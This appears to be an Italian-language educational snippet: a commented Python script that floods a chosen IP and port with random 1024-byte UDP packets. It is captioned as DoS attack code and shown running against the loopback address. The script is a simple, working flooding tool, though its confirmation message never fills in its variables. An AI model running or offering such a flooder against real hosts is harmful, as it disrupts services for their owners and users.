

```
import socket #serve per creare connessioni di rete come TCP e UDP
import os #viene usato per generare dati casuali da inviare nel pacchetto "(os.urandom())"

ip_target = input("Inserisci l'ip target: ") #l'utente dovrà scrivere l'ip del bersaglio che riceverà i pacchetti
porta_target = int(input("Inserisci la porta target: ")) #l'utente dovrà inserire la porta di destinazione ("int" è usato per numeri interi)
numero_pacchetti = int(input("Inserisci pacchetti vuoi inviare?: ")) #l'utente deciderà quante volte inviare un pacchetto

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #socket.AF_INET indichiamo che stiamo usando IPV4 - mentre socket.SOCK_DGRAM stiamo usando il protocollo UDP

for i in range(numero_pacchetti): #ripete il ciclo dei pacchetti "n" volte
    pacchetto = os.urandom(1024) #creiamo un blocco di 1024 byte di dati casuali (1024)
    s.sendto(pacchetto, (ip_target, porta_target)) #s.sendto invia i dati (pacchetto) all'indirizzo IP e porta specificati
    print("Pacchetto [i+1] inviato a [ip_target, porta_target]") #dopo ogni invio mostra un messaggio di conferma che il pacchetto è stato inviato con successo - in partiamo dal pacchetto "1" e non "0"
```

Codice per un attacco DoS

[illegible]

Dimostrazione di come arrivino i pacchetti all'ip di loopback